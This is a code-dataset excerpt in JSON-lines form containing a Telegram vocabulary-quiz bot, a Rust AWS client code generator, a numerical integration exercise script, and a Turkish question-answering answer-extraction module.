urlopen(text).read().decode('utf-8')\r\n result = json.loads(url)\r\n if result['def']:\r\n mani = result['def'][0]['tr']\r\n keybordlist = []\r\n for i in mani:\r\n text='{text} - ({pos})'.format(text=i['text'],pos=i['pos'])\r\n keybordlist.append([KeyboardButton(text=text)])\r\n keydic = ReplyKeyboardMarkup(\r\n keyboard=keybordlist,\r\n resize_keyboard=True, one_time_keyboard=True)\r\n await self.sender.sendMessage('معنی این لغت را وارد کنید\\n و یا یکی از گزینه های زیر را انتخاب کیند', reply_markup=keydic)\r\n else:\r\n await self.sender.sendMessage('متاسفانه این لغت در دیکشنری وجود نداشت می توانید معنی آن را خودتان وارد کنید',\r\n reply_markup=ReplyKeyboardRemove(remove_keyboard=True))\r\n\r\n a.state=3\r\n a.save()\r\n else:\r\n await self.sender.sendMessage(form.errors)\r\n\r\n elif a.state == 3:\r\n word = Word.objects.filter(teleuser=a).last()\r\n if word.meaning:\r\n text='معنی این لغت را قبلا ثبت کرده اید: {mani}'.format(mani=word.meaning)\r\n await self.sender.sendMessage(text, reply_markup=key1)\r\n else:\r\n word.meaning=msg['text']\r\n word.save()\r\n a.state=2\r\n a.save()\r\n await self.sender.sendMessage('لغت ثبت شد،\\n\\n برای ادامه لغت بعدی را ثبت کنید یا /back به منوی اصلی')\r\n elif a.state==5 or a.state==7:\r\n a.state = 1\r\n a.save()\r\n self.close()\r\n\r\n elif a.state==6:\r\n list= [ 'صبح ساعت 9','ظهر ساعت 12','عصر ساعت 5','شب ساعت 20','نیمه شب ساعت 11']\r\n if msg['text'] in list:\r\n a.notif_time=msg['text']\r\n a.state=1\r\n await self.sender.sendMessage('این زمان برای شما ثبت شد.',reply_markup=key1)\r\n a.save()\r\n elif msg['text']=='یادآوری نمی خوام':\r\n a.notif_time = msg['text']\r\n a.state = 1\r\n await self.sender.sendMessage('زمان یادآوری برای شما حذف شد، در صورت تمایل می توانید مجددا زمان جدید را انتخاب کنید', reply_markup=key1)\r\n a.save()\r\n else:\r\n remindkey=ReplyKeyboardMarkup(\r\n keyboard=[[KeyboardButton(text='صبح ساعت 9')],\r\n [KeyboardButton(text='ظهر ساعت 12')],\r\n [KeyboardButton(text='عصر ساعت 5')],\r\n [KeyboardButton(text='شب ساعت 20')],\r\n [KeyboardButton(text='نیمه شب ساعت 11')]],\r\n resize_keyboard=True, one_time_keyboard=True)\r\n\r\n await self.sender.sendMessage(\r\n 'لطفا فقط از گزینه های زیر برای ثبت زمان استفاده کنید\\n' \\\r\n 'برای بازگشت به منوی اصلی بر روی /back کلیک کنید \\n\\n' \\\r\n '⏱⏱⏱⏱',\r\n reply_markup=remindkey)\r\n\r\n elif a.state == 8:\r\n content = msg['text']\r\n form = NazarForm(data={\r\n 'content': content,\r\n 'teleuser': a.pk,\r\n })\r\n if form.is_valid():\r\n form.save()\r\n await self.sender.sendMessage('نظر شما با موفقیت ثبت شد\\n' \\\r\n 'بسیار سپاسگذاریم که به ما در بهبود خدمات سایت کمک می کنید' \\\r\n 'http://scorize.com', reply_markup=key1)\r\n a.state = 1\r\n a.save()\r\n else:\r\n await self.sender.sendMessage(form.errors)\r\n a.state=1\r\n a.save()\r\n else:\r\n await self.sender.sendMessage('یکی از گزینه های زیر را انتخاب کنید', reply_markup=key1)\r\n a.state=1\r\n a.save()\r\n\r\n\r\n\r\n else:\r\n\r\n form = TeleUserForm(data={\r\n 'user_name': msg['from'].get('username',[]),\r\n 'user_id': from_id,\r\n 'first_name': msg['from'].get('first_name',[]),\r\n 'state': 1,\r\n })\r\n if form.is_valid():\r\n form.save()\r\n await self.sender.sendMessage('\\n\\nبه اسکورایز بات خوش آمدید🙌\\n\\n'\r\n\r\n 'با کلیک بر روی دکمه ی \"ثبت لغت جدید ✍🏻\" می توانید لغتی که می خواهید یادبگیرید به همراه معنی آن ثبت کنید.\\n\\n' \\\r\n 'با کلیک بر روی دکمه ی \"مرور لغت ها 🔎\" لغت های ثبت شده به صورت 4 گزینه ای از شما سوال پرسیده میشه.\\n\\n' \\\r\n \\\r\n 'با کلیک بر روی دکمه ی \"لیست لغت های ثبت شده📝\" می توانید جزییات فرایند به خاطر سپردن لغت را از قبیل: تعداد دفعات درست و غلط جواب دادن و زمان تکرار بعدی را مشاهده کنید، همچنین می توانید لغت مورد نظر را حذف کنید.\\n\\n' \\\r\n \\\r\n 'لطفا بانظر ها و پیشنهاد هایتان ما را رد مسیر بهبود بات همراهی کنید @meehraaad',\r\n reply_markup=key1)\r\n else:\r\n await self.sender.sendMessage(form.errors)\r\n\r\n\r\n async def _show_next_question(self,msg):\r\n\r\n a = TeleUser.objects.get(user_id=msg['from']['id'])\r\n words=Word.objects.filter(teleuser=a).filter(Q(next_review_time__lte=timezone.now())|Q(next_review_time=None)).order_by('-next_review_time').last()\r\n if words:\r\n choice=Word.objects.filter(teleuser=a).exclude(pk=words.pk).order_by('?').all()[:3]\r\n list=[]\r\n for i in choice:\r\n list.append(i)\r\n answer=words.pk\r\n list.append(words)\r\n random.shuffle(list)\r\n question = '{word} ❓ \\n\\n' \\\r\n '1️⃣- {one} \\n\\n' \\\r\n '2️⃣- {two} \\n\\n' \\\r\n '3️⃣- {three} \\n\\n' \\\r\n '4️⃣- {four} \\n\\n'\\\r\n '/close'.format(word=words.word,one=list[0].meaning,two=list[1].meaning,three=list[2].meaning,four=list[3].meaning)\r\n\r\n key3 = InlineKeyboardMarkup(inline_keyboard=[[\r\n InlineKeyboardButton(text=str(1), callback_data=str(list[0].pk)),InlineKeyboardButton(text=str(2), callback_data=str(list[1].pk)),\r\n InlineKeyboardButton(text=str(3), callback_data=str(list[2].pk)),InlineKeyboardButton(text=str(4), callback_data=str(list[3].pk))\r\n ]])\r\n\r\n new=await bot.editMessageText(msg_identifier=self._message_ind,text=question,reply_markup=key3)\r\n\r\n self._message_ind= telepot.message_identifier(new)\r\n\r\n else:\r\n new=await bot.editMessageText(msg_identifier=self._message_ind,text='تمام لغت های موجود را با موفقیت مرور کرده اید',reply_markup=None)\r\n a.state=1\r\n a.save()\r\n return answer\r\n\r\n\r\n async def on_callback_query(self, msg):\r\n query_id, from_id, query_data = telepot.glance(msg, flavor='callback_query')\r\n a = TeleUser.objects.get(user_id=msg['from']['id'])\r\n\r\n if a.state==4:\r\n if query_data=='delete':\r\n if self._delete:\r\n deleteword=Word.objects.get(pk=self._delete).delete()\r\n await bot.editMessageReplyMarkup(msg_identifier=self._message_ind_delet,reply_markup=None)\r\n await bot.answerCallbackQuery(query_id, text=' لغط خذف شد ')\r\n else:\r\n await self.sender.sendMessage('با عرض پوزش\\n لطفا دوباره تلاش فرمایید',reply_markup=key1)\r\n\r\n else:\r\n edit1=Word.objects.filter(pk=query_data)\r\n if edit1:\r\n edit = Word.objects.get(pk=query_data)\r\n time = edit.next_review_time - timezone.now().date()\r\n text='کلمه : {word}\\n\\n معنی : {means}\\n\\n ✅تعداد پاسخ صحیح : {sahih}\\n \\n ❌تعداد پاسخ غلط : {ghalat}\\n \\n ⏳زمان تکرار بعدی : {time}\\n ..'.format(word=edit.word,\r\n means=edit.meaning,sahih=edit.correct_answer,\r\n ghalat=edit.wrong_answer,time=time)\r\n\r\n key = InlineKeyboardMarkup(inline_keyboard=[\r\n [InlineKeyboardButton(text='حذف این لغت', callback_data='delete')]])\r\n detail=await self.sender.sendMessage(text,reply_markup=key)\r\n self._delete=edit.pk\r\n if self._message_ind_delet:\r\n await bot.editMessageReplyMarkup(msg_identifier=self._message_ind_delet,reply_markup=None)\r\n self._message_ind_delet= telepot.message_identifier(detail)\r\n else:\r\n self._message_ind_delet = telepot.message_identifier(detail)\r\n else:\r\n await self.sender.sendMessage('این لغت قبلا حذف شده است', reply_markup=key1)\r\n\r\n\r\n else:\r\n if query_data == 'shoro':\r\n count=Word.objects.filter(teleuser=a).count()\r\n if count>3:\r\n await bot.answerCallbackQuery(query_id, text='برای هر سوال 60 ثانیه وقت دارید')\r\n a.state=5\r\n a.save()\r\n self._answer = await self._show_next_question(msg=msg)\r\n\r\n else:\r\n await self.sender.sendMessage('برای شروع فرایند مرور باید حداقل 4 کلمه وارد کنید \\n یکی از گزینه های زیر را انتخاب کنید ')\r\n a.state=1\r\n a.save()\r\n\r\n elif query_data == 'shoro504':\r\n join=Join.objects.filter(teleuser=a)\r\n if not join:\r\n new = await bot.editMessageText(msg_identifier=self._message_ind, text='لطفا چند لحظه صبر کنید...', reply_markup=None)\r\n self._message_ind = telepot.message_identifier(new)\r\n ponsad = Ponsad.objects.all()\r\n for i in ponsad:\r\n form = JoinForm(data={\r\n 'word': i.pk,\r\n 'teleuser': a.pk,\r\n })\r\n if form.is_valid():\r\n form.save()\r\n else:\r\n self.sender.sendMessage(form.errors)\r\n else:\r\n pass\r\n await bot.answerCallbackQuery(query_id, text='برای هر سوال 60 ثانیه وقت دارید')\r\n a.state=7\r\n a.save()\r\n self._answer = await self._show_next_question_504(msg=msg)\r\n elif query_data == 'end':\r\n a.state=1\r\n a.save()\r\n await self.sender.sendMessage('برای ادامه یکی از گزینه ها را انتخاب کنید', reply_markup=key1)\r\n # await self.close()\r\n\r\n elif query_data== str(self._answer):\r\n days=[1,2,5,10,20,40]\r\n await bot.answerCallbackQuery(query_id, text=' درسته ')\r\n\r\n id=self._answer\r\n if a.state == 5:\r\n word=Word.objects.get(id=id)\r\n i=word.level\r\n if i<6:\r\n word.next_review_time=timezone.now()+timezone.timedelta(days=days[i])\r\n else:\r\n word.next_review_time =timezone.now()+timezone.timedelta(days=days[40])\r\n\r\n self._score= self._score+5\r\n self._correct=self._correct+1\r\n self._count=self._count+1\r\n word.level = word.level + 1\r\n word.correct_answer=word.correct_answer+1\r\n word.save()\r\n a.points=a.points+5\r\n a.save()\r\n\r\n self._answer = await self._show_next_question(msg=msg)\r\n elif a.state==7:\r\n word = Join.objects.get(id=id)\r\n i = word.level\r\n if i < 7:\r\n word.next_review_time = timezone.now() + timezone.timedelta(days=days[i])\r\n else:\r\n word.next_review_time = timezone.now() + timezone.timedelta(days=days[40])\r\n\r\n self._score = self._score + 5\r\n self._correct = self._correct + 1\r\n self._count = self._count + 1\r\n word.level = word.level + 1\r\n word.correct_answer = word.correct_answer + 1\r\n word.save()\r\n a.points = a.points + 5\r\n a.save()\r\n self._answer = await self._show_next_question_504(msg=msg)\r\n\r\n elif query_data == 'nazar':\r\n await self.sender.sendMessage('لطفا پیشنهادات و نظرات خود را تایپ و ارسال فرمایید\\n' \\\r\n 'برای بازگشت به منوی اصلی /back را لمس کنید.',reply_markup=None)\r\n a.state = 8\r\n a.save()\r\n\r\n else:\r\n if self._answer==None:\r\n await self.sender.sendMessage('شما از قسمت مرور خارج شده اید، برای شروع مجدد یکی از گزینه های زیر را انتخاب کنید',reply_markup=key1)\r\n a.state=1\r\n a.save()\r\n else:\r\n id = self._answer\r\n if a.state==5:\r\n word = Word.objects.get(id=id)\r\n word.level=0\r\n word.wrong_answer=word.wrong_answer+1\r\n word.next_review_time =timezone.now()\r\n word.save()\r\n self._wrong = self._wrong + 1\r\n self._count = self._count + 1\r\n self._score = self._score -3\r\n await bot.answerCallbackQuery(query_id, text='اشتباه')\r\n self._answer = await self._show_next_question(msg=msg)\r\n elif a.state==7:\r\n word = Join.objects.get(id=id)\r\n word.level = 0\r\n word.wrong_answer = word.wrong_answer + 1\r\n word.next_review_time = timezone.now()\r\n word.save()\r\n self._wrong = self._wrong + 1\r\n self._count = self._count + 1\r\n self._score = self._score - 3\r\n await bot.answerCallbackQuery(query_id, text='اشتباه')\r\n self._answer = await self._show_next_question_504(msg=msg)\r\n\r\n async def _show_next_question_504(self, msg):\r\n a = TeleUser.objects.get(user_id=msg['from']['id'])\r\n words = Join.objects.filter(teleuser=a).filter(\r\n Q(next_review_time__lte=timezone.now()) | Q(next_review_time=None)).order_by('-next_review_time').last()\r\n if words:\r\n choice = Join.objects.filter(teleuser=a).exclude(pk=words.pk).order_by('?').all()[:3]\r\n list = []\r\n for i in choice:\r\n list.append(i)\r\n answer = words.pk\r\n list.append(words)\r\n random.shuffle(list)\r\n question = '{word} ❓ \\n\\n' \\\r\n '1️⃣- {one} \\n\\n' \\\r\n '2️⃣- {two} \\n\\n' \\\r\n '3️⃣- {three} \\n\\n' \\\r\n '4️⃣- {four} \\n\\n'\\\r\n '/close'.format(word=words.word.word, one=list[0].word.meaning, two=list[1].word.meaning,\r\n three=list[2].word.meaning, four=list[3].word.meaning)\r\n\r\n key3 = InlineKeyboardMarkup(inline_keyboard=[[\r\n InlineKeyboardButton(text=str(1), callback_data=str(list[0].pk)),\r\n InlineKeyboardButton(text=str(2), callback_data=str(list[1].pk)),\r\n InlineKeyboardButton(text=str(3), callback_data=str(list[2].pk)),\r\n InlineKeyboardButton(text=str(4), callback_data=str(list[3].pk))\r\n ]])\r\n\r\n new = await bot.editMessageText(msg_identifier=self._message_ind, text=question, reply_markup=key3)\r\n\r\n self._message_ind = telepot.message_identifier(new)\r\n\r\n else:\r\n new=await bot.editMessageText(msg_identifier=self._message_ind,text='تمام لغت های موجود را با موفقیت مرور کرده اید',reply_markup=None)\r\n a.state = 1\r\n a.save()\r\n return answer\r\n\r\n async def on__idle(self, event):\r\n from_id=event['_idle']['source']['id']\r\n a=TeleUser.objects.get(user_id=from_id)\r\n\r\n if a.state==5 or a.state==7:\r\n a.state=1\r\n a.save()\r\n await self.sender.sendMessage('زمان شما به پایان رسید.',reply_markup=key1)\r\n self._answer=None\r\n self.close()\r\n else:\r\n pass\r\n\r\n async def on_close(self, ex):\r\n if self._message_ind:\r\n text='امتیاز: {score}\\n'\\\r\n 'تعداد سوالات: {count} \\n'\\\r\n 'تعداد پاسخ درست: {corect} \\n'\\\r\n 'تعداد پاسخ اشتباه: {wrong} \\n\\n'\\\r\n 'لطفا نظرات و پیشنهاد های خودتان را در راستای بهبود خدمات با ما در میان بگذارین.\\n\\n'\\\r\n '@meehraaad\\n\\n'\\\r\n 'https://www.scorize.com'.format(score=self._score,count=self._count,corect=self._correct,wrong=self._wrong)\r\n await self.sender.sendMessage(text,reply_markup=key1)\r\n await bot.editMessageReplyMarkup(msg_identifier=self._message_ind,reply_markup=None)\r\n else:\r\n pass\r\n\r\n\r\nPORT = 9080\r\n\r\n\r\n\r\nloop = asyncio.get_event_loop()\r\napp = web.Application(loop=loop)\r\n\r\nbot = telepot.aio.DelegatorBot(TOKEN, [\r\n include_callback_query_chat_id(\r\n pave_event_space())(per_chat_id(), create_open, Start, timeout=60),\r\n\r\n])\r\n\r\nwebhook = OrderedWebhook(bot)\r\n# bot.message_loop(run_forever='Listening ...')\r\n\r\n\r\nasync def feeder(request):\r\n data = await request.text()\r\n webhook.feed(data)\r\n return web.Response(body='OK'.encode('utf-8'))\r\n\r\nasync def init(app, bot):\r\n app.router.add_route('GET', '/webhook', feeder)\r\n app.router.add_route('POST', '/webhook', feeder)\r\n\r\n #await bot.setWebhook(URL)\r\n\r\n\r\nloop.run_until_complete(init(app, bot))\r\n\r\nloop.create_task(webhook.run_forever())\r\n\r\nclass Command(BaseCommand):\r\n def handle(self, *args, **options):\r\n try:\r\n web.run_app(app, port=PORT)\r\n except KeyboardInterrupt:\r\n pass\r\n","sub_path":"bot/management/commands/runbot.py","file_name":"runbot.py","file_ext":"py","file_size_in_byte":35931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"156091836","text":"from parserbase import ParserBase\n\n# list of reserved rustlang keywords\n# http://doc.rust-lang.org/grammar.html#keywords\nKEYWORDS = set([\"abstract\", \"alignof\", \"as\", \"become\", \"box\",\n \"break\", \"const\", \"continue\", \"crate\", \"do\",\n \"else\", \"enum\", \"extern\", \"false\", \"final\"\n \"fn\", \"for\", \"if\", \"impl\", \"in\",\n \"let\", \"loop\", \"macro\", \"match\", \"mod\",\n \"move\", \"mut\", \"offsetof\", \"override\", \"priv\",\n \"proc\", \"pub\", \"pure\", \"ref\", \"return\",\n \"Self\", \"self\", \"sizeof\", \"static\", \"struct\",\n \"super\", \"trait\", \"true\", \"type\", \"typeof\",\n \"unsafe\", \"unsized\", \"use\", \"virtual\", \"where\",\n \"while\", \"yield\"])\n\n\nclass JsonProtocolParser(ParserBase):\n def __init__(self, service, client_name):\n super(JsonProtocolParser, self).__init__(service, client_name)\n\n def rust_struct(self, name, shape):\n \"\"\"\n Don't use camel_case conversion for json protocol structs\n since the (de)serialization is automatic\n \"\"\"\n self.append(\"#[derive(Debug, Default, Deserialize, Serialize)]\")\n if shape['members']:\n self.append(\"pub struct \" + name + \" {\")\n for (mname, member) in shape['members'].iteritems():\n if 'documentation' in member:\n self.generate_documentation(member, \"\\t\")\n\n rust_type = member['shape']\n if not JsonProtocolParser.is_required(shape, mname):\n rust_type = \"Option<\" + rust_type + \">\"\n if mname in KEYWORDS:\n self.append(\"\\t#[serde(rename=\\\"\" + mname + \"\\\")]\")\n mname = \"_\" + mname\n self.append(\"\\tpub \" + mname + \": \" + rust_type + \",\")\n self.append(\"}\\n\")\n else:\n self.append(\"pub struct \" + name + \";\\n\")\n\n \"\"\"\n Implementation of ParserBase for AWS services with protocol type 'json'\n \"\"\"\n\n def request_method(self, operation):\n http = operation['http']\n\n output_type = ParserBase.get_output_type(operation)\n self.generate_documentation(operation, \"\\t\")\n\n if not ('input' in operation):\n input_name = ''\n input_type = ''\n self.append(\n \"\\tpub fn \" + ParserBase.c_to_s(operation['name']) + \"(&mut self\"\") -> Result<\" + output_type + \"> {\")\n else:\n input_name = operation['input']['shape']\n input_type = self.shape(input_name)\n self.append(\"\\tpub fn \" + ParserBase.c_to_s(\n operation['name']) + \"(&mut self, input: &\" + input_name + \") -> Result<\" + output_type + \"> {\")\n\n self.append('\\t\\tlet encoded = to_string(&input).expect(\"failed to convert input to JSON\");')\n self.append('\\t\\tlet mut request = SignedRequest::new(\"' + http['method'] + '\", \"' + self.metadata(\n 'endpointPrefix') + '\", &self.region, \"' + http['requestUri'] + '\");')\n self.append('\\t\\trequest.set_content_type(\"application/x-amz-json-1.1\".to_string());')\n self.append('\\t\\trequest.add_header(\"x-amz-target\", \"' + self.metadata('targetPrefix') + '.' + operation[\n 'name'] + '\");')\n self.append('\\t\\trequest.set_payload(Some(encoded.as_bytes()));')\n self.append('\\t\\tlet mut result = request.sign_and_execute(try!(self.creds.get_credentials()));')\n self.append('\\t\\tlet status = result.status.to_u16();')\n self.append('\\t\\tlet mut body = String::new();')\n self.append('\\t\\tresult.read_to_string(&mut body).unwrap();')\n\n self.append('\\t\\tmatch status {')\n self.append('\\t\\t\\t200 => { ')\n\n if output_type == '()':\n self.append('\\t\\t\\t\\tOk(())')\n else:\n self.append(\n '\\t\\t\\t\\tlet decoded: ' + output_type + ' = from_str(&body).expect(\"failed to convert JSON into Rust type\");')\n self.append('\\t\\t\\t\\tOk(decoded)')\n\n self.append('\\t\\t\\t}')\n self.append('\\t\\t\\t_ => {')\n self.append('\\t\\t\\t\\tErr(parse_error(&body))')\n self.append('\\t\\t\\t}')\n self.append('\\t\\t}')\n self.append(\"\\t}\")\n\n def shape_hook(self, name, shape):\n pass\n\n def add_imports(self):\n self.append(\"use std::collections::HashMap;\")\n self.append(\"use std::error::Error;\")\n self.append(\"use std::io::Read;\")\n self.append(\"use serde_json::{from_str, to_string};\");\n\n @staticmethod\n def is_required(shape, field_name):\n \"\"\"\n TODO: this seems to be backwards from how botocore deals with required fields\n for query protocol services. Investigate.\n \"\"\"\n if not 'required' in shape:\n return False;\n else:\n return 'required' in shape and field_name in shape['required']\n","sub_path":"codegen/jsonprotocol.py","file_name":"jsonprotocol.py","file_ext":"py","file_size_in_byte":4899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"389360980","text":"y1 = 19 + 61/125\ny2 = -32 - 2/3\nx1 = 2\ndef f(x):\n\ty = pow(x,4)/500 - pow(x,2)/200 - 3/250\n\treturn y\n\ndef g(x):\n\ty = (-1) * pow(x, 3)/30 + x/20 + 1/6\n\treturn y\n#1\ndef calka(x1,x2):\n\td = 1/1000\n\ti = x1\n\tsuma = 0\n\twhile i < x2:\n\t\tp1 = abs(d * f(i))\n\t\tp2 = abs(d * f(i+d))\n\n\t\tp3 = abs(d * g(i))\n\t\tp4 = abs(d * g(i+d))\n\t\t\n\t\tP = (p1 + p2 + p3 + p4) / 2 \n\t\tsuma += P\n\t\ti += d\n\n\treturn round(suma, 3) \n\nzad1 = str(calka(2,10))\n\n#2\ndef dl_krzywych(x1,x2):\n\td = 1/1000\n\ti = x1\n\tsuma = 0\n\twhile i < x2:\n\t\ta = pow(pow(abs(f(i) - f(i+d)),2) + pow(d, 2),1/2)\n\t\tsuma += a\n\t\tb = pow(pow(abs(g(i) - g(i+d)),2) + pow(d, 2),1/2)\n\t\tsuma += b\n\t\ti += d\n\n\treturn suma\nobwod = y1 - y2 + 16 + dl_krzywych(2, 10) \nzad2 = str(int(obwod) + 1)\n\n#3\ndef pasy(x1,x2, grubosc):\n\tsuma_dl = 0\n\tx = x2 - grubosc\n\twhile x >= x1:\n\t\th = f(x) - g(x)\n\t\tsuma_dl += int(h)\n\t\tx -= grubosc\n\treturn suma_dl\nzad3 = str(pasy(2,10,1/4))\n\nwith open('zadanie_zaslona.txt','w') as w:\n\tw.write(f'1)\\n{zad1}\\n\\n2)\\n{zad2}\\n\\n3)\\n{zad3}')","sub_path":"zbior zadan cke/70 - python/zadanit70.py","file_name":"zadanit70.py","file_ext":"py","file_size_in_byte":983,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"634931394","text":"import copy\nimport re\n\nimport stanfordnlp\n\nfrom .question_processing import find_q_type, find_q_focus\nfrom .util import (construct_bigrams,\n sim,\n check_word_in_question,\n find_subject,\n find_related_words,\n extract_answer_from_whole_sent,\n extract_answer_with_idx,\n find_root,\n contains_eachother,\n find_left_child,\n find_relation,\n reconstruct_sentence,\n construct_answer_from_idx,\n calculate_tree_similarity,\n calculate_focus_score,\n calculate_overall_scores,\n construct_sentence)\n\nnlp = stanfordnlp.Pipeline(lang=\"tr\")\n\n\ndef find_type_focus_parsed(question):\n \"\"\"Find Question Type, Focus, and Parse Question\n\n Parameters\n ----------\n question: str\n\n Returns\n -------\n tuple\n Type, Focus, Parsed Question\n \"\"\"\n q_type = find_q_type(question)\n parsed_q = nlp(question)\n q_focus = find_q_focus(parsed_q)\n q_dep = parsed_q.sentences[0].dependencies\n \n return q_type, q_focus, parsed_q\n\n\ndef entity_answer_extractor(sentence, parsed_question):\n \"\"\"Extract Answer for Entity Type\n\n Extracts answer for given `sentence` and `parsed_question`\n\n Parameters\n ----------\n sentence: stanfordnlp.pipeline.doc.Sentence\n Sentence that contains the answer\n \n parsed_question: stanfordnlp.pipeline.doc.Document\n Question\n\n Returns\n -------\n str\n Answer\n \"\"\"\n subject_idx = find_subject(sentence)\n related_idx = find_related_words(sentence, subject_idx)\n \n if related_idx:\n return extract_answer_with_idx(sentence, related_idx, parsed_question.text)\n else:\n return extract_answer_from_whole_sent(sentence, parsed_question.text)\n\n\ndef description_answer_extractor(sentence, parsed_question):\n # TODO: DocString\n return entity_answer_extractor(sentence, parsed_question)\n\n\ndef location_answer_extractor(sentence, parsed_question):\n \"\"\"Extract Answer for Location Type\n\n Extracts answer for given `sentence` and `parsed_question`\n\n Parameters\n ----------\n sentence: stanfordnlp.pipeline.doc.Sentence\n Sentence that contains the answer\n \n parsed_question: stanfordnlp.pipeline.doc.Document\n Question\n\n Returns\n -------\n str\n Answer\n \"\"\"\n question_sent = parsed_question.sentences[0]\n sent_root_idx = find_root(sentence)\n quest_root_idx = find_root(question_sent)\n root = sentence.words[sent_root_idx - 1]\n \n if contains_eachother(sentence.words[sent_root_idx - 1], question_sent.words[quest_root_idx - 1]):\n if root.upos == \"VERB\":\n idx = []\n left_child = find_left_child(sentence, sent_root_idx)\n if left_child > 0:\n idx.append(left_child)\n idx = find_related_words(sentence, idx)\n \n amods = find_relation(sentence, sent_root_idx, \"amod\")\n if amods:\n for i in amods:\n if i not in idx:\n idx.append(i)\n \n idx = find_related_words(sentence, idx)\n \n if idx:\n return extract_answer_with_idx(sentence, idx, parsed_question.text)\n\n return extract_answer_from_whole_sent(sentence, parsed_question.text)\n\n\ndef temporal_answer_extractor(sentence, parsed_question):\n # TODO: DocString\n words = sentence.words\n sent = reconstruct_sentence(sentence)\n if \"yıl\" in parsed_question.text.casefold() or \"yıl\" in sent:\n for word in words:\n if word.dependency_relation in [\"nummod\", \"nmod:poss\"] and word.upos == \"NUM\":\n if word.dependency_relation == \"nummod\":\n return word.lemma\n else:\n return word.text\n \n def find_temporal_phrase(temp_keyword):\n if temp_keyword in parsed_question.text.casefold():\n for word in words:\n if temp_keyword in word.text.casefold():\n pattern = \"(\\w+\\s+\" + temp_keyword + \")\"\n pat = re.compile(pattern, re.IGNORECASE)\n sent = reconstruct_sentence(sentence)\n all_ = pat.findall(sent)\n if all_:\n return all_\n \n return None\n \n donem = find_temporal_phrase(\"dönem\")\n if donem:\n return \" \".join(donem)\n \n cag = find_temporal_phrase(\"çağ\")\n if cag:\n return \" \".join(cag)\n \n yuzyil = find_temporal_phrase(\"yüzyıl\")\n if yuzyil:\n return \" \".join(yuzyil)\n \n \n return extract_answer_from_whole_sent(sentence, parsed_question.text)\n\n\ndef human_answer_extractor(sentence, parsed_question):\n \"\"\"Extract Answer for Human Type\n\n Extracts answer for given `sentence` and `parsed_question`\n\n Parameters\n ----------\n sentence: stanfordnlp.pipeline.doc.Sentence\n Sentence that contains the answer\n \n parsed_question: stanfordnlp.pipeline.doc.Document\n Question\n\n Returns\n -------\n str\n Answer\n \"\"\"\n subj = find_subject(sentence)\n if subj:\n return extract_answer_with_idx(sentence, subj, parsed_question.text)\n \n root = find_root(sentence)\n obj = find_relation(sentence, root, \"obj\")\n if obj:\n return extract_answer_with_idx(sentence, subj, parsed_question.text)\n\n return extract_answer_from_whole_sent(sentence, parsed_question.text)\n\n\ndef numeric_answer_extractor(sentence, parsed_question):\n \"\"\"Extract Answer for Numeric Type\n\n Extracts answer for given `sentence` and `parsed_question`\n\n Parameters\n ----------\n sentence: stanfordnlp.pipeline.doc.Sentence\n Sentence that contains the answer\n \n parsed_question: stanfordnlp.pipeline.doc.Document\n Question\n\n Returns\n -------\n str\n Answer\n \"\"\"\n candidate = extract_answer_from_whole_sent(sentence, parsed_question.text)\n pat = re.compile(r\"(%?\\d+)\")\n all_ = pat.findall(candidate)\n if all_:\n return \" \".join(all_)\n \n return candidate\n\n\ndef yes_no_answer_extractor(sentence, parsed_question):\n \"\"\"Extract Answer for YesNo Type\n\n Extracts answer for given `sentence` and `parsed_question`\n\n Parameters\n ----------\n sentence: stanfordnlp.pipeline.doc.Sentence\n Sentence that contains the answer\n \n parsed_question: stanfordnlp.pipeline.doc.Document\n Question\n\n Returns\n -------\n str\n Answer\n \"\"\"\n for word in sentence.words:\n if \"Polarity=Neg\" in word.feats:\n return \"hayır\"\n \n return \"evet\"\n\n\ndef other_answer_extractor(sentence, parsed_question):\n \"\"\"Extract Answer for Other Type\n\n Extracts answer for given `sentence` and `parsed_question`\n\n Parameters\n ----------\n sentence: stanfordnlp.pipeline.doc.Sentence\n Sentence that contains the answer\n \n parsed_question: stanfordnlp.pipeline.doc.Document\n Question\n\n Returns\n -------\n str\n Answer\n \"\"\"\n return extract_answer_from_whole_sent(sentence, parsed_question.text)\n\n\nanswer_extractors = {\n \"Entity\": entity_answer_extractor,\n \"Location\" : location_answer_extractor,\n \"Temporal\": temporal_answer_extractor,\n \"Human\": human_answer_extractor,\n \"Description\": description_answer_extractor,\n \"Numeric\": numeric_answer_extractor,\n \"YesNo\": yes_no_answer_extractor,\n \"Other\": other_answer_extractor,\n}\n\ndef get_answer(question_type, sentence, parsed_question):\n \"\"\"Get Answer\n\n Parameters\n ----------\n question_type: str\n Type of Question\n \n sentence: stanfordnlp.pipeline.doc.Sentence\n Sentence that contains the answer\n\n parsed_question: stanfordnlp.pipeline.doc.Document\n Question\n\n Returns\n -------\n str\n Answer\n \"\"\"\n answer_extractor = answer_extractors[question_type]\n answer = answer_extractor(sentence, parsed_question)\n\n if answer:\n return answer\n else:\n return reconstruct_sentence(sentence)\n\n\ndef extract_answer(passage, question_type, question_focus, parsed_question):\n \"\"\"Extract Answer\n \n Extracts answer from passage for given `question_type`, `question_focus`, `parsed_question` \n\n Parameters\n ----------\n passage: stanfordnlp.pipeline.doc.Document\n Passage that consits of sentences\n\n question_type: str\n Question Type\n\n question_focus: list\n List of words that are focused on question\n\n parsed_question: stanfordnlp.pipeline.doc.Document\n Question\n\n Returns\n -------\n str\n Answer\n \"\"\"\n tree_sims = []\n for sentence in passage.sentences:\n tree_sims.append(calculate_tree_similarity(sentence, parsed_question))\n \n focus_scores = []\n for sentence in passage.sentences:\n focus_scores.append(calculate_focus_score(sentence, question_focus))\n\n scores = calculate_overall_scores(tree_sims, focus_scores)\n idx = scores.index(max(scores))\n\n answer = get_answer(question_type, passage.sentences[idx], parsed_question)\n \n return answer\n\n\ndef find_answer(question, passage):\n \"\"\"Find Answer\n \n Finds answer of question in `passage`\n\n Parameters\n ----------\n question: str\n Question\n\n passage: stanfordnlp.pipeline.doc.Document\n Passage\n\n Returns\n -------\n str\n Answer\n \"\"\"\n question_type, question_focus, parsed_question = find_type_focus_parsed(question)\n answer = extract_answer(passage, question_type, question_focus, parsed_question)\n \n return answer\n","sub_path":"evaluation/submissions/submission_1/answer_extraction/answer_extraction.py","file_name":"answer_extraction.py","file_ext":"py","file_size_in_byte":9848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"609536565","text":"#!/usr/bin/env python2\n# 